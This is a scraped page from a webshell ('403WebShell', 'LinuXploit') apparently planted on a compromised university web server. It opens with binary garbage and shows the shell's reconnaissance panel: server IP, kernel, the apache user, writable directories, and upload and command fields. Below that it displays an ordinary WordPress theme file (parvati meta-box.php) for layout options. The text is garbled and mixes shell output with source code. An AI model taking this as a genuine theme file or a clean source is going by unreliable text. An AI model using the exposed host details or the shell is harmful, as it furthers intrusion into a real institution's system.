h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/skruarchives/wp-content/themes/parvati/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/skruarchives/wp-content/themes/parvati/inc/meta-box.php
<?php
/**
 * Builds our main Layout meta box.
 *
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

add_action( 'admin_enqueue_scripts', 'parvati_enqueue_meta_box_scripts' );
/**
 * Adds any scripts for this meta box.
 *
 *
 * @param string $hook The current admin page.
 */
function parvati_enqueue_meta_box_scripts( $hook ) {
	if ( in_array( $hook, array( 'post.php', 'post-new.php' ) ) ) {
		$post_types = get_post_types( array( 'public' => true ) );
		$screen = get_current_screen();
		$post_type = $screen->id;

		if ( in_array( $post_type, ( array ) $post_types ) ) {
			wp_enqueue_style( 'parvati-layout-metabox', get_template_directory_uri() . '/css/admin/meta-box.css', array(), PARVATI_VERSION );
		}
	}
}

add_action( 'add_meta_boxes', 'parvati_register_layout_meta_box' );
/**
 * Generate the layout metabox
 *
 */
function parvati_register_layout_meta_box() {
	if ( ! current_user_can( apply_filters( 'parvati_metabox_capability', 'edit_theme_options' ) ) ) {
		return;
	}

	if ( ! defined( 'PARVATI_LAYOUT_META_BOX' ) ) {
		define( 'PARVATI_LAYOUT_META_BOX', true );
	}

	$post_types = get_post_types( array( 'public' => true ) );
	foreach ($post_types as $type) {
		if ( 'attachment' !== $type ) {
			add_meta_box (
				'parvati_layout_options_meta_box',
				esc_html__( 'Layout', 'parvati' ),
				'parvati_do_layout_meta_box',
				$type,
				'normal',
				'high'
			);
		}
	}
}

/**
 * Build our meta box.
 *
 *
 * @param object $post All post information.
 */
function parvati_do_layout_meta_box( $post ) {
	wp_nonce_field( basename( __FILE__ ), 'parvati_layout_nonce' );
	$stored_meta = (array) get_post_meta( $post->ID );
	$stored_meta['_parvati-sidebar-layout-meta'][0] = ( isset( $stored_meta['_parvati-sidebar-layout-meta'][0] ) ) ? $stored_meta['_parvati-sidebar-layout-meta'][0] : '';
	$stored_meta['_parvati-footer-widget-meta'][0] = ( isset( $stored_meta['_parvati-footer-widget-meta'][0] ) ) ? $stored_meta['_parvati-footer-widget-meta'][0] : '';
	$stored_meta['_parvati-full-width-content'][0] = ( isset( $stored_meta['_parvati-full-width-content'][0] ) ) ? $stored_meta['_parvati-full-width-content'][0] : '';
	$stored_meta['_parvati-disable-headline'][0] = ( isset( $stored_meta['_parvati-disable-headline'][0] ) ) ? $stored_meta['_parvati-disable-headline'][0] : '';
	$stored_meta['_parvati-transparent-header'][0] = ( isset( $stored_meta['_parvati-transparent-header'][0] ) ) ? $stored_meta['_parvati-transparent-header'][0] : '';

	$tabs = apply_filters( 'parvati_metabox_tabs',
		array(
			'sidebars' => array(
				'title' => esc_html__( 'Sidebars', 'parvati' ),
				'target' => '#parvati-layout-sidebars',
				'class' => 'current',
			),
			'footer_widgets' => array(
				'title' => esc_html__( 'Footer Widgets', 'parvati' ),
				'target' => '#parvati-layout-footer-widgets',
				'class' => '',
			),
			'disable_elements' => array(
				'title' => esc_html__( 'Disable Elements', 'parvati' ),
				'target' => '#parvati-layout-disable-elements',
				'class' => '',
			),
			'container' => array(
				'title' => esc_html__( 'Page Builder Container', 'parvati' ),
				'target' => '#parvati-layout-page-builder-container',
				'class' => '',
			),
			'transparent_header' => array(
				'title' => esc_html__( 'Transparent Header', 'parvati' ),
				'target' => '#parvati-layout-transparent-header',
				'class' => '',
			),
		)
	);
	?>
	<script>
		jQuery(document).ready(function($) {
			$( '.parvati-meta-box-menu li a' ).on( 'click', function( event ) {
				event.preventDefault();
				$( this ).parent().addClass( 'current' );
				$( this ).parent().siblings().removeClass( 'current' );
				var tab = $( this ).attr( 'data-target' );

				// Page header module still using href.
				if ( ! tab ) {
					tab = $( this ).attr( 'href' );
				}

				$( '.parvati-meta-box-content' ).children( 'div' ).not( tab ).css( 'display', 'none' );
				$( tab ).fadeIn( 100 );
			});
		});
	</script>
	<div id="parvati-meta-box-container">
		<ul class="parvati-meta-box-menu">
			<?php
			foreach ( ( array ) $tabs as $tab => $data ) {
				echo '<li class="' . esc_attr( $data['class'] ) . '"><a data-target="' . esc_attr( $data['target'] ) . '" href="#">' . esc_html( $data['title'] ) . '</a></li>';
			}

			do_action( 'parvati_layout_meta_box_menu_item' );
			?>
		</ul>
		<div class="parvati-meta-box-content">
			<div id="parvati-layout-sidebars">
				<div class="parvati_layouts">
					<label for="meta-parvati-layout-global" style="display:block;margin-bottom:10px;">
						<input type="radio" name="_parvati-sidebar-layout-meta" id="meta-parvati-layout-global" value="" <?php checked( $stored_meta['_parvati-sidebar-layout-meta'][0], '' ); ?>>
						<?php esc_html_e( 'Default', 'parvati' );?>
					</label>

					<label for="meta-parvati-layout-one" style="display:block;margin-bottom:3px;" title="<?php esc_attr_e( 'Right Sidebar', 'parvati' );?>">
						<input type="radio" name="_parvati-sidebar-layout-meta" id="meta-parvati-layout-one" value="right-sidebar" <?php checked( $stored_meta['_parvati-sidebar-layout-meta'][0], 'right-sidebar' ); ?>>
						<?php esc_html_e( 'Content', 'parvati' );?> / <strong><?php echo esc_html_x( 'Sidebar', 'Short name for meta box', 'parvati' ); ?></strong>
					</label>

					<label for="meta-parvati-layout-two" style="display:block;margin-bottom:3px;" title="<?php esc_attr_e( 'Left Sidebar', 'parvati' );?>">
						<input type="radio" name="_parvati-sidebar-layout-meta" id="meta-parvati-layout-two" value="left-sidebar" <?php checked( $stored_meta['_parvati-sidebar-layout-meta'][0], 'left-sidebar' ); ?>>
						<strong><?php echo esc_html_x( 'Sidebar', 'Short name for meta box', 'parvati' ); ?></strong> / <?php esc_html_e( 'Content', 'parvati' );?>
					</label>

					<label for="meta-parvati-layout-three" style="display:block;margin-bottom:3px;" title="<?php esc_attr_e( 'No Sidebars', 'parvati' );?>">
						<input type="radio" name="_parvati-sidebar-layout-meta" id="meta-parvati-layout-three" value="no-sidebar" <?php checked( $stored_meta['_parvati-sidebar-layout-meta'][0], 'no-sidebar' ); ?>>
						<?php esc_html_e( 'Content (no sidebars)', 'parvati' );?>
					</label>

					<label for="meta-parvati-layout-four" style="display:block;margin-bottom:3px;" title="<?php esc_attr_e( 'Both Sidebars', 'parvati' );?>">
						<input type="radio" name="_parvati-sidebar-layout-meta" id="meta-parvati-layout-four" value="both-sidebars" <?php checked( $stored_meta['_parvati-sidebar-layout-meta'][0], 'both-sidebars' ); ?>>
						<strong><?php echo esc_html_x( 'Sidebar', 'Short name for meta box', 'parvati' ); ?></strong> / <?php esc_html_e( 'Content', 'parvati' );?> / <strong><?php echo esc_html_x( 'Sidebar', 'Short name for meta box', 'parvati' ); ?></strong>
					</label>

					<label for="meta-parvati-layout-five" style="display:block;margin-bottom:3px;" title="<?php esc_attr_e( 'Both Sidebars on Left', 'parvati' );?>">
						<input type="radio" name="_parvati-sidebar-layout-meta" id="meta-parvati-layout-five" value="both-left" <?php checked( $stored_meta['_parvati-sidebar-layout-meta'][0], 'both-left' ); ?>>
						<strong><?php echo esc_html_x( 'Sidebar', 'Short name for meta box', 'parvati' ); ?></strong> / <strong><?php echo esc_html_x( 'Sidebar', 'Short name for meta box', 'parvati' ); ?></strong> / <?php esc_html_e( 'Content', 'parvati' );?>
					</label>

					<label for="meta-parvati-layout-six" style="display:block;margin-bottom:3px;" title="<?php esc_attr_e( 'Both Sidebars on Right', 'parvati' );?>">
						<input type="radio" name="_parvati-sidebar-layout-meta" id="meta-parvati-layout-six" value="both-right" <?php checked( $stored_meta['_parvati-sidebar-layout-meta'][0], 'both-right' ); ?>>
						<?php esc_html_e( 'Content', 'parvati' );?> / <strong><?php echo esc_html_x( 'Sidebar', 'Short name for meta box', 'parvati' ); ?></strong> / <strong><?php echo esc_html_x( 'Sidebar', 'Short name for meta box', 'parvati' ); ?></strong>
					</label>
				</div>
			</div>
			<div id="parvati-layout-footer-widgets" style="display: none;">
				<div class="parvati_footer_widget">
					<label for="meta-parvati-footer-widget-global" style="display:block;margin-bottom:10px;">
						<input type="radio" name="_parvati-footer-widget-meta" id="meta-parvati-footer-widget-global" value="" <?php checked( $stored_meta['_parvati-footer-widget-meta'][0], '' ); ?>>
						<?php esc_html_e( 'Default', 'parvati' );?>
					</label>

					<label for="meta-parvati-footer-widget-zero" style="display:block;margin-bottom:3px;" title="<?php esc_attr_e( '0 Widgets', 'parvati' );?>">
						<input type="radio" name="_parvati-footer-widget-meta" id="meta-parvati-footer-widget-zero" value="0" <?php checked( $stored_meta['_parvati-footer-widget-meta'][0], '0' ); ?>>
						<?php esc_html_e( '0 Widgets', 'parvati' );?>
					</label>

					<label for="meta-parvati-footer-widget-one" style="display:block;margin-bottom:3px;" title="<?php esc_attr_e( '1 Widget', 'parvati' );?>">
						<input type="radio" name="_parvati-footer-widget-meta" id="meta-parvati-footer-widget-one" value="1" <?php checked( $stored_meta['_parvati-footer-widget-meta'][0], '1' ); ?>>
						<?php esc_html_e( '1 Widget', 'parvati' );?>
					</label>

					<label for="meta-parvati-footer-widget-two" style="display:block;margin-bottom:3px;" title="<?php esc_attr_e( '2 Widgets', 'parvati' );?>">
						<input type="radio" name="_parvati-footer-widget-meta" id="meta-parvati-footer-widget-two" value="2" <?php checked( $stored_meta['_parvati-footer-widget-meta'][0], '2' ); ?>>
						<?php esc_html_e( '2 Widgets', 'parvati' );?>
					</label>

					<label for="meta-parvati-footer-widget-three" style="display:block;margin-bottom:3px;" title="<?php esc_attr_e( '3 Widgets', 'parvati' );?>">
						<input type="radio" name="_parvati-footer-widget-meta" id="meta-parvati-footer-widget-three" value="3" <?php checked( $stored_meta['_parvati-footer-widget-meta'][0], '3' ); ?>>
						<?php esc_html_e( '3 Widgets', 'parvati' );?>
					</label>

					<label for="meta-parvati-footer-widget-four" style="display:block;margin-bottom:3px;" title="<?php esc_attr_e( '4 Widgets', 'parvati' );?>">
						<input type="radio" name="_parvati-footer-widget-meta" id="meta-parvati-footer-widget-four" value="4" <?php checked( $stored_meta['_parvati-footer-widget-meta'][0], '4' ); ?>>
						<?php esc_html_e( '4 Widgets', 'parvati' );?>
					</label>

					<label for="meta-parvati-footer-widget-five" style="display:block;margin-bottom:3px;" title="<?php esc_attr_e( '5 Widgets', 'parvati' );?>">
						<input type="radio" name="_parvati-footer-widget-meta" id="meta-parvati-footer-widget-five" value="5" <?php checked( $stored_meta['_parvati-footer-widget-meta'][0], '5' ); ?>>
						<?php esc_html_e( '5 Widgets', 'parvati' );?>
					</label>
				</div>
			</div>
			<div id="parvati-layout-page-builder-container" style="display: none;">
				<p class="page-builder-content" style="color:#666;font-size:13px;margin-top:0;">
					<?php esc_html_e( 'Choose your page builder content container type. Both options remove the content padding for you.', 'parvati' ) ;?>
				</p>

				<p class="parvati_full_width_template">
					<label for="default-content" style="display:block;margin-bottom:10px;">
						<input type="radio" name="_parvati-full-width-content" id="default-content" value="" <?php checked( $stored_meta['_parvati-full-width-content'][0], '' ); ?>>
						<?php esc_html_e( 'Default', 'parvati' );?>
					</label>

					<label id="full-width-content" for="_parvati-full-width-content" style="display:block;margin-bottom:10px;">
						<input type="radio" name="_parvati-full-width-content" id="_parvati-full-width-content" value="true" <?php checked( $stored_meta['_parvati-full-width-content'][0], 'true' ); ?>>
						<?php esc_html_e( 'Full Width', 'parvati' );?>
					</label>

					<label id="parvati-remove-padding" for="_parvati-remove-content-padding" style="display:block;margin-bottom:10px;">
						<input type="radio" name="_parvati-full-width-content" id="_parvati-remove-content-padding" value="contained" <?php checked( $stored_meta['_parvati-full-width-content'][0], 'contained' ); ?>>
						<?php esc_html_e( 'Contained', 'parvati' );?>
					</label>
				</p>
			</div>
			<div id="parvati-layout-transparent-header" style="display: none;">
				<p class="transparent-header-content" style="color:#666;font-size:13px;margin-top:0;">
					<?php esc_html_e( 'Switch to transparent header if You want to put content behind the header.', 'parvati' ) ;?>
				</p>

				<p class="parvati_transparent_header">
					<label for="default" style="display:block;margin-bottom:10px;">
						<input type="radio" name="_parvati-transparent-header" id="default" value="" <?php checked( $stored_meta['_parvati-transparent-header'][0], '' ); ?>>
						<?php esc_html_e( 'Default', 'parvati' );?>
					</label>

					<label id="transparent" for="_parvati-transparent-header" style="display:block;margin-bottom:10px;">
						<input type="radio" name="_parvati-transparent-header" id="transparent" value="true" <?php checked( $stored_meta['_parvati-transparent-header'][0], 'true' ); ?>>
						<?php esc_html_e( 'Transparent', 'parvati' );?>
					</label>
				</p>
			</div>
			<div id="parvati-layout-disable-elements" style="display: none;">
				<?php if ( ! defined( 'PARVATI_DE_VERSION' ) ) : ?>
					<div class="parvati_disable_elements">
						<label for="meta-parvati-disable-headline" style="display:block;margin: 0 0 1em;" title="<?php esc_attr_e( 'Content Title', 'parvati' );?>">
							<input type="checkbox" name="_parvati-disable-headline" id="meta-parvati-disable-headline" value="true" <?php checked( $stored_meta['_parvati-disable-headline'][0], 'true' ); ?>>
							<?php esc_html_e( 'Content Title', 'parvati' );?>
						</label>

						<?php if ( ! defined( 'PARVATI_PREMIUM_VERSION' ) ) : ?>
							<span style="display:block;padding-top:1em;border-top:1px solid #EFEFEF;">
								<a href="<?php echo PARVATI_THEME_URL; // WPCS: XSS ok, sanitization ok. ?>" target="_blank"><?php esc_html_e( 'Premium module available', 'parvati' ); ?></a>
							</span>
						<?php endif; ?>
					</div>
				<?php endif; ?>

				<?php do_action( 'parvati_layout_disable_elements_section', $stored_meta ); ?>
			</div>
			<?php do_action( 'parvati_layout_meta_box_content', $stored_meta ); ?>
		</div>
	</div>
    <?php
}

add_action( 'save_post', 'parvati_save_layout_meta_data' );
/**
 * Saves the sidebar layout meta data.
 *
 *
 * @param int Post ID.
 */
function parvati_save_layout_meta_data( $post_id ) {
	$is_autosave = wp_is_post_autosave( $post_id );
	$is_revision = wp_is_post_revision( $post_id );
	$is_valid_nonce = ( isset( $_POST[ 'parvati_layout_nonce' ] ) && wp_verify_nonce( sanitize_key( $_POST[ 'parvati_layout_nonce' ] ), basename( __FILE__ ) ) ) ? true : false;

	if ( $is_autosave || $is_revision || ! $is_valid_nonce ) {
		return;
	}

	if ( ! current_user_can( 'edit_post', $post_id ) ) {
		return $post_id;
	}

	$sidebar_layout_key   = '_parvati-sidebar-layout-meta';
	$sidebar_layout_value = filter_input( INPUT_POST, $sidebar_layout_key, FILTER_SANITIZE_STRING );

	if ( $sidebar_layout_value ) {
		update_post_meta( $post_id, $sidebar_layout_key, $sidebar_layout_value );
	} else {
		delete_post_meta( $post_id, $sidebar_layout_key );
	}

	$footer_widget_key   = '_parvati-footer-widget-meta';
	$footer_widget_value = filter_input( INPUT_POST, $footer_widget_key, FILTER_SANITIZE_STRING );

	// Check for empty string to allow 0 as a value.
	if ( '' !== $footer_widget_value ) {
		update_post_meta( $post_id, $footer_widget_key, $footer_widget_value );
	} else {
		delete_post_meta( $post_id, $footer_widget_key );
	}

	$page_builder_container_key   = '_parvati-full-width-content';
	$page_builder_container_value = filter_input( INPUT_POST, $page_builder_container_key, FILTER_SANITIZE_STRING );

	if ( $page_builder_container_value ) {
		update_post_meta( $post_id, $page_builder_container_key, $page_builder_container_value );
	} else {
		delete_post_meta( $post_id, $page_builder_container_key );
	}

	$transparent_header_key   = '_parvati-transparent-header';
	$transparent_header_value = filter_input( INPUT_POST, $transparent_header_key, FILTER_SANITIZE_STRING );

	if ( $transparent_header_value ) {
		update_post_meta( $post_id, $transparent_header_key, $transparent_header_value );
	} else {
		delete_post_meta( $post_id, $transparent_header_key );
	}

	// We only need this if the Disable Elements module doesn't exist
	if ( ! defined( 'PARVATI_DE_VERSION' ) ) {
		$disable_content_title_key   = '_parvati-disable-headline';
		$disable_content_title_value = filter_input( INPUT_POST, $disable_content_title_key, FILTER_SANITIZE_STRING );

		if ( $disable_content_title_value ) {
			update_post_meta( $post_id, $disable_content_title_key, $disable_content_title_value );
		} else {
			delete_post_meta( $post_id, $disable_content_title_key );
		}
	}

	do_action( 'parvati_layout_meta_box_save', $post_id );
}

Youez - 2016 - github.com/yon3zu
LinuXploit